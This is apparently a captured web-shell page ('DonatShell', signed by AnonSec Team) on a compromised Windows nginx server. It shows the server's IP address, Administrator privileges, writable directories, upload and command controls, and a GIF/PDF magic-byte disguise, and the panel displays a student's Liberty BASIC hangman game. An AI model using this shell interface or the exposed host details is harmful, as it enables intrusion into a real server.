GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2008.05.08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2008.05.08//Handman_EricM.bas
[beginProgram]

    ' Begin code for #main

    nomainwin
    WindowWidth = 640
    WindowHeight = 480
    UpperLeftX=int((DisplayWidth-WindowWidth)/2)
    UpperLeftY=int((DisplayHeight-WindowHeight)/2)

    ' Begin GUI objects code

    ' create hangman.graphicbox and load bitmap for the hangman box background.
    graphicbox #main.hangman.graphicbox,   5,  17, 300, 380
    loadbmp "startBackground", "assets\startBackground.BMP"

    'points
    statictext #main.pointsTotal.statictext, "", 525, 400 ,  75,  20
    statictext #main.points.statictext, "Score:", 475, 400,  50,  25

    'highscore
    statictext #main.highscore.statictext, "Highscore:", 320, 400, 113,  20
    statictext #main.highscorefield.statictext, "", 400, 400,  59,  20

    ' Create wordToFind.statictext.
    statictext #main.wordToFind.statictext, "",  70, 412, 160,  20

' Create difficultyLevel.combobox and difficultyLevel.statictext.
    dim difficultyLevel$(30)
    difficultyLevel$(1) = "7" 'replace with loop that looks for files
    difficultyLevel$(2) = "10"
    ComboboxColor$ = "white"
    statictext #main.difficultyLevel.statictext, "Select a difficulty level", 360,  52, 160,  20
combobox #main.difficultyLevel.combobox, difficultyLevel$(), [difficultyLevel.combobox.select],  520,  47,  45, 100


    ' Create startGame.btn.
    button #main.startGame.btn,"Start game",[startGame.btn.click], UL, 375,  97,  87,  25

    ' Create exit.btn.
    button #main.exit.btn,"Exit",[exit.btn.click], UL, 495,  97,  36,  25

    ' Setup letter buttons
    button #main.A.btn,"A",letter.btn.click, UL, 350, 207,  20,  25
    button #main.B.btn,"B",letter.btn.click, UL, 370, 207,  20,  25
    button #main.C.btn,"C",letter.btn.click, UL, 390, 207,  20,  25
    button #main.D.btn,"D",letter.btn.click, UL, 410, 207,  20,  25
    button #main.E.btn,"E",letter.btn.click, UL, 430, 207,  20,  25
    button #main.F.btn,"F",letter.btn.click, UL, 450, 207,  20,  25
    button #main.G.btn,"G",letter.btn.click, UL, 470, 207,  20,  25
    button #main.H.btn,"H",letter.btn.click, UL, 490, 207,  20,  25
    button #main.I.btn,"I",letter.btn.click, UL, 510, 207,  20,  25
    button #main.J.btn,"J",letter.btn.click, UL, 530, 207,  20,  25
    button #main.K.btn,"K",letter.btn.click, UL, 550, 207,  20,  25
    button #main.L.btn,"L",letter.btn.click, UL, 570, 207,  20,  25
    button #main.M.btn,"M",letter.btn.click, UL, 590, 207,  20,  25
    button #main.N.btn,"N",letter.btn.click, UL, 350, 232,  20,  25
    button #main.O.btn,"O",letter.btn.click, UL, 370, 232,  20,  25
    button #main.P.btn,"P",letter.btn.click, UL, 390, 232,  20,  25
    button #main.Q.btn,"Q",letter.btn.click, UL, 410, 232,  20,  25
    button #main.R.btn,"R",letter.btn.click, UL, 430, 232,  20,  25
    button #main.S.btn,"S",letter.btn.click, UL, 450, 232,  20,  25
    button #main.T.btn,"T",letter.btn.click, UL, 470, 232,  20,  25
    button #main.U.btn,"U",letter.btn.click, UL, 490, 232,  20,  25
    button #main.V.btn,"V",letter.btn.click, UL, 510, 232,  20,  25
    button #main.W.btn,"W",letter.btn.click, UL, 530, 232,  20,  25
    button #main.X.btn,"X",letter.btn.click, UL, 550, 232,  20,  25
    button #main.Y.btn,"Y",letter.btn.click, UL, 570, 232,  20,  25
    button #main.Z.btn,"Z",letter.btn.click, UL, 590, 232,  20,  25

    ' Create guessesLeftLabel.statictext and guessesLeftNumber.statictext.
    statictext #main.guessesLeftLabel.statictext, "Guesses left:", 360, 282, 103,  20
    statictext #main.guessesLeftNumber.statictext, "7", 460, 282,   20,  20


    ' End GUI objects code

    ' Open and setup #main
    open "Hangman" for window as #main


   [newGame]
  'figure out the highscore
open "high.dat" for append as #dat
close #dat
open "high.dat" for input as #dat
if eof(#dat) < 0 then
   highscore = 0
else
   input #dat, highscore
end if
close #dat
'show highscore
print #main.highscorefield.statictext, highscore
'enable combobox and start game button
    print #main.difficultyLevel.combobox,"enable"
    print #main.startGame.btn,"!enable"
    points = 0
print #main.pointsTotal.statictext, points
    wordAsFound$ = "_"
    ' Clear hangman.graphicbox
    print #main.hangman.graphicbox, "down; fill white; flush ;up"
    ' Insert background image
    print #main.hangman.graphicbox, "drawbmp startBackground -40 -70"
    ' Set #main fonts.
    print #main, "font arial 12"
    print #main.guessesLeftNumber.statictext, "!font arial 14 bold"
    ' Trap close
    print #main, "trapclose [quit.main]"
    ' Hide letter.btns
    gosub [opening.screen]


[waitLoop]
scan

if guessesLeft = 0 then
       notice "The word was ";upper$(wordToFind$);"." + _
       " Since you lost, you will receive zero points."
confirm "Would you like to play another game?"; yesOrNo$ 
     if yesOrNo$ = "yes" then
        goto [newGame]
else
        goto [quit.main]
end if
end if


if instr(wordAsFound$,"_") = 0 then
 playwave "assets\win.wav"
    notice "You WIN :)"
    'calculate total points
    totalPoints = int((guessesLeft*.1)*(points+rowPoints+doubleLetterPoints))+(points+rowPoints+doubleLetterPoints)
    'inform player of points and bonus points
notice "Point Total ";chr$(13) + _
    "Points received for correct guesses = ";points;chr$(13) + _
    "Points earned for getting correct guesses in a row = ";rowPoints;chr$(13)+ _
    "Points receceived for guessing a letter that appeared multiple times in the word = ";doubleLetterPoints;chr$(13) + _
    "You also earned a bonus of ";int((guessesLeft*.1)*(points+rowPoints+doubleLetterPoints));" points for completing the game."
notice "You earned a total of ";totalPoints;" points!!"






    'figure out if we have a new highscore
    if totalPoints > highscore then
        notice "That is a new highscore!"
        open "high.dat" for output as #dat
        print #dat, totalPoints
        close #dat
        highscore = totalPoints
        end if
        'ask if the player would like to play again
    confirm "Would you like to play another game?"; yesOrNo$ 
     if yesOrNo$ = "yes" then
        goto [newGame]
else
        goto [quit.main]
end if
end if

print points

    'print loopCount
goto [waitLoop]

[difficultyLevel.combobox.select]   'Perform action for the combobox named 'difficultyLevel.combobox'


    print #main.startGame.btn, "!enable"
    print #main.difficultyLevel.combobox, "selection? selected$"
    wordToFind$ = getWord$(val(selected$))
    print #main.startGame.btn, "!setfocus"
    wordAsFound$ = ""
    for i = 1 to val(selected$)
        wordAsFound$ = wordAsFound$ + "_ "
    next i
    print #main.wordToFind.statictext, wordAsFound$
    notice wordToFind$
goto [waitLoop]

[exit.btn.click]   'Perform action for the button named 'exit.btn'
goto [quit.main]
    'Insert your own code here

    wait

'function getWord$(letterCount)
'Gets a random word of the length letterCount for use in the game
function getWord$(letterCount)
    filename$ = "assets/"+str$(letterCount)+".txt"
    select case letterCount
        case 4
            open filename$ FOR RANDOM AS #1 LEN=5
            FIELD #1,_     ' set up the fields for file opened as #1
            4 AS word$,_ ' The record number
            1 AS delimeter$
        case 5
            open filename$ FOR RANDOM AS #1 LEN=6
            FIELD #1,_     ' set up the fields for file opened as #1
            5 AS word$,_ ' The record number
            1 AS delimeter$
        case 6
            open filename$ FOR RANDOM AS #1 LEN=7
            FIELD #1,_     ' set up the fields for file opened as #1
            6 AS word$,_ ' The record number
            1 AS delimeter$
        case 7
            open filename$ FOR RANDOM AS #1 LEN=8
            FIELD #1,_     ' set up the fields for file opened as #1
            7 AS word$,_ ' The record number
            1 AS delimeter$
        case 8
            open filename$ FOR RANDOM AS #1 LEN=9
            FIELD #1,_     ' set up the fields for file opened as #1
            8 AS word$,_ ' The record number
            1 AS delimeter$
        case 9
            open filename$ FOR RANDOM AS #1 LEN=10
            FIELD #1,_     ' set up the fields for file opened as #1
            9 AS word$,_ ' The record number
            1 AS delimeter$
        case 10
            open filename$ FOR RANDOM AS #1 LEN=11
            FIELD #1,_     ' set up the fields for file opened as #1
            10 AS word$,_ ' The record number
            1 AS delimeter$
        case 11
            open filename$ FOR RANDOM AS #1 LEN=12
            FIELD #1,_     ' set up the fields for file opened as #1
            11 AS word$,_ ' The record number
            1 AS delimeter$
        case 12
            open filename$ FOR RANDOM AS #1 LEN=13
            FIELD #1,_     ' set up the fields for file opened as #1
            12 AS word$,_ ' The record number
            1 AS delimeter$
        case 13
            open filename$ FOR RANDOM AS #1 LEN=14
            FIELD #1,_     ' set up the fields for file opened as #1
            13 AS word$,_ ' The record number
            1 AS delimeter$
        case 14
            open filename$ FOR RANDOM AS #1 LEN=15
            FIELD #1,_     ' set up the fields for file opened as #1
            14 AS word$,_ ' The record number
            1 AS delimeter$
        case 15
            open filename$ FOR RANDOM AS #1 LEN=16
            FIELD #1,_     ' set up the fields for file opened as #1
            15 AS word$,_ ' The record number
            1 AS delimeter$
        case 16
            open filename$ FOR RANDOM AS #1 LEN=17
            FIELD #1,_     ' set up the fields for file opened as #1
            16 AS word$,_ ' The record number
            1 AS delimeter$
        case 17
            open filename$ FOR RANDOM AS #1 LEN=18
            FIELD #1,_     ' set up the fields for file opened as #1
            17 AS word$,_ ' The record number
            1 AS delimeter$
        case 18
            open filename$ FOR RANDOM AS #1 LEN=19
            FIELD #1,_     ' set up the fields for file opened as #1
            18 AS word$,_ ' The record number
            1 AS delimeter$
        case 19
            open filename$ FOR RANDOM AS #1 LEN=20
            FIELD #1,_     ' set up the fields for file opened as #1
            19 AS word$,_ ' The record number
            1 AS delimeter$
        case 20
            open filename$ FOR RANDOM AS #1 LEN=21
            FIELD #1,_     ' set up the fields for file opened as #1
            20 AS word$,_ ' The record number
            1 AS delimeter$
        case 21
            open filename$ FOR RANDOM AS #1 LEN=22
            FIELD #1,_     ' set up the fields for file opened as #1
            21 AS word$,_ ' The record number
            1 AS delimeter$
        case 22
            open filename$ FOR RANDOM AS #1 LEN=23
            FIELD #1,_     ' set up the fields for file opened as #1
            22 AS word$,_ ' The record number
            1 AS delimeter$
        case 23
            open filename$ FOR RANDOM AS #1 LEN=24
            FIELD #1,_     ' set up the fields for file opened as #1
            23 AS word$,_ ' The record number
            1 AS delimeter$
        case 24
            open filename$ FOR RANDOM AS #1 LEN=25
            FIELD #1,_     ' set up the fields for file opened as #1
            24 AS word$,_ ' The record number
            1 AS delimeter$
        case 25
            open filename$ FOR RANDOM AS #1 LEN=26
            FIELD #1,_     ' set up the fields for file opened as #1
            25 AS word$,_ ' The record number
            1 AS delimeter$
        case 26
            open filename$ FOR RANDOM AS #1 LEN=27
            FIELD #1,_     ' set up the fields for file opened as #1
            26 AS word$,_ ' The record number
            1 AS delimeter$
        case 27
            open filename$ FOR RANDOM AS #1 LEN=28
            FIELD #1,_     ' set up the fields for file opened as #1
            27 AS word$,_ ' The record number
            1 AS delimeter$
        case 28
            open filename$ FOR RANDOM AS #1 LEN=29
            FIELD #1,_     ' set up the fields for file opened as #1
            28 AS word$,_ ' The record number
            1 AS delimeter$
        case 29
            open filename$ FOR RANDOM AS #1 LEN=30
            FIELD #1,_     ' set up the fields for file opened as #1
            29 AS word$,_ ' The record number
            1 AS delimeter$ 
    end select
    wordCount = int(lof(#1)/(letterCount+1))
    'print lof(#1),lof(#1)/(letterCount+1), wordCount
    recordToRead = int(rnd(1)*wordCount)+1
    'print "recordToRead=";recordToRead
    get #1,recordToRead
    close #1
    getWord$ = word$
end function

sub letter.btn.click buttonhandle$
'global points
global wordToFind$
    buttonLetter$ = mid$(buttonhandle$,7,1)
    print #buttonhandle$, "!hide"
    ' Search for the letter in the wordToFind$
    letterFoundAt = instr(lower$(wordToFind$),lower$(buttonLetter$))
if letterFoundAt = 0 then
        ' Letter not found in wordToFind$.
        call letterNotFound buttonLetter$
    else
        ' Letter found in wordToFind$.
        call letterFound letterFoundAt, buttonLetter$
    end if



end sub

[opening.screen]
'reset guessesLeft, quessedWrong, and correctGuessesInARow
guessesLeft = 7
guessedWrong = 0
correctGuessesInARow = 0
#main.guessesLeftNumber.statictext, guessesLeft
   print #main.hangman.graphicbox, "down; flush ;up"
for i = 1 to 26
    buttonhandle$ = "#main."+chr$(i+64)+".btn"
    'notice "hide ";buttonhandle$
    print #buttonhandle$, "!hide"
next i
' disable start button
    print #main.startGame.btn,"!disable"
' hide guesses left
    print #main.guessesLeftLabel.statictext,"!hide"
    print #main.guessesLeftNumber.statictext,"!hide"
'hide wordtofind
    print #main.wordToFind.statictext,"!hide"
'hide points
   print #main.points.statictext,"!hide"
   print #main.pointsTotal.statictext,"!hide"
'hide highscore
    print #main.highscore.statictext, "!hide"
    print #main.highscorefield.statictext, "!hide"
return

[game.screen]

for i = 1 to 26
    buttonhandle$ = "#main."+chr$(i+64)+".btn"
    'notice "show ";buttonhandle$
    print #buttonhandle$, "!show"
next i
print #main.startGame.btn,"!disable"
'show guesses left
    print #main.guessesLeftLabel.statictext, "!show"
    print #main.guessesLeftNumber.statictext,"!show"
'show wordtofind
    print #main.wordToFind.statictext,"!show"
'show points
    print #main.points.statictext,"!show"
    print #main.pointsTotal.statictext,"!show"
'show highscore
    print #main.highscore.statictext, "!show"
    print #main.highscorefield.statictext, "!show"
    'disable combobox
    print #main.difficultyLevel.combobox,"disable"
'use new background
    loadbmp "background", "assets\background.bmp"
    print #main.hangman.graphicbox, "drawbmp background -40 -70"
     ' Position pen in hangman.graphicbox.
    print #main.hangman.graphicbox, "color lightgray; size 1; home; up; north; go 100; turn 270; go 50; up; flush"
    print #main.hangman.graphicbox, "posxy xVar yVar"
    ' Build gallow Top
    print #main.hangman.graphicbox, "goto "+str$(xVar)+" "+str$(yVar-25)+"; color brown; size 6; down; north; go 40; up; flush"
    print #main.hangman.graphicbox, "color darkred; size 14; down; turn 90; go 170; up; flush"
    print #main.hangman.graphicbox, "color lightgray; size 1; up; turn 180; go 80; up; flush"
    print #main.hangman.graphicbox, "color darkred; size 12; down; turn 225;go 113.137085; up; flush"
    print #main.hangman.graphicbox, "color lightgray; size 1; up; turn 225; go 80; up; flush"
    print #main.hangman.graphicbox, "color darkred; size 14; down; turn 180; go 280; up; flush"
    ' Build gallow Base
    print #main.hangman.graphicbox, "color darkred; size 14; down; turn 90; go 200; up; flush"
    print #main.hangman.graphicbox, "color lightgray; size 1; up; turn 180; go 30; up; flush"
    print #main.hangman.graphicbox, "color darkred; size 14; down; turn 90; go 50; up; flush"
    print #main.hangman.graphicbox, "color lightgray; size 1; up; turn 180; go 50; up; flush"
    print #main.hangman.graphicbox, "color lightgray; size 1; up; turn 90; go 140; up; flush"
    print #main.hangman.graphicbox, "color darkred; size 14; down; turn 90; go 50; up; flush"
   playwave "assets\bells.wav"
return

sub letterFound letterFoundAt, buttonLetter$
global points
global wordAsFound$
global correctGuessesInARow
global rowPoints
global doubleLetterPoints
    'set correctGuessesInARow
    correctGuessesInARow = correctGuessesInARow + 1
    rowPoints = (correctGuessesInARow*10)+rowPoints
    ' Display letter in word and allocate points
    [nextLetter]
    doubleLetter = (doubleLetter + 1)
    doubleLetterPoints = (doubleLetter*10)-10+doubleLetterPoints
    points = points + 10
    print #main.pointsTotal.statictext, (points+rowPoints+doubleLetterPoints)
    replacePosition = letterFoundAt*2-1
    wordAsFound$ = mid$(wordAsFound$,1,replacePosition-1)+ buttonLetter$+ mid$(wordAsFound$,replacePosition+1)
    print #main.wordToFind.statictext, wordAsFound$
    letterFoundAt = instr(lower$(wordToFind$),lower$(buttonLetter$),letterFoundAt+1)
    if letterFoundAt > 0 then goto [nextLetter]




   playwave "assets/correctGuess.wav"

end sub

sub letterNotFound buttonLetter$
'reset correctGuessesInARow
correctGuessesInARow = 0
    ' Take away a guess.
    global guessedWrong
    guessedWrong = (guessedWrong + 1)
    global guessesLeft
    guessesLeft = (7 - guessedWrong)
#main.guessesLeftNumber.statictext, guessesLeft

if guessesLeft = 6 then
    ' Draw head
    print #main.hangman.graphicbox, "color lightgray; size 1; home; up; north; go 100; turn 270; go 50; up; flush"
    print #main.hangman.graphicbox, "posxy xVar yVar"
    'notice "X:"+str$(xVar)+" Y:"+str$(yVar)
    print #main.hangman.graphicbox, "color black; size 6; down; circle 25; up; flush"
end if
if guessesLeft = 5 then
    'display torso
    print #main.hangman.graphicbox, "color lightgray; size 1; turn 270; up; go 25; up; flush"
    print #main.hangman.graphicbox, "color black; size 6; down; go 80; up; flush"
end if
if guessesLeft = 4 then
    ' Draw left arm
    print #main.hangman.graphicbox, "color lightgray; size 1; turn 180; up; go 60; up; flush"
    print #main.hangman.graphicbox, "color black; size 6; down; turn 300; go 60; up; flush"
end if
if guessesLeft = 3 then
 ' Draw right arm
    print #main.hangman.graphicbox, "color lightgray; size 1; turn 180; up; go 60; up; flush"
    print #main.hangman.graphicbox, "color black; size 6; down; north; turn 60; go 60; up; flush"
end if
if guessesLeft = 2 then
' Draw left leg
    print #main.hangman.graphicbox, "color lightgray; size 1; turn 180; up; go 60; up; flush"
    print #main.hangman.graphicbox, "color lightgray; size 1; north; turn 180; up; go 60; up; flush"
    print #main.hangman.graphicbox, "color black; size 6; down; north; turn 195; go 80; up; flush"
end if
if guessesLeft = 1 then
' Draw left leg
    print #main.hangman.graphicbox, "color lightgray; size 1; turn 180; up; go 80; up; flush"
    print #main.hangman.graphicbox, "color black; size 6; down; north; turn 165; go 80; up; flush"
end if

playwave "assets/wrongGuess.wav"



end sub


[main.inputLoop]   'wait here for input event
    wait

[quit.main] 'End the program
    playwave ""
    loadbmp "background", "assets\background.BMP"
    unloadbmp ("background")
    unloadbmp ("startBackground")
    close #main
    end

[startGame.btn.click]   'Perform action for the button named 'btn_StartGame'
    gosub [game.screen]
    goto [waitLoop]



Anon7 - 2022
AnonSec Team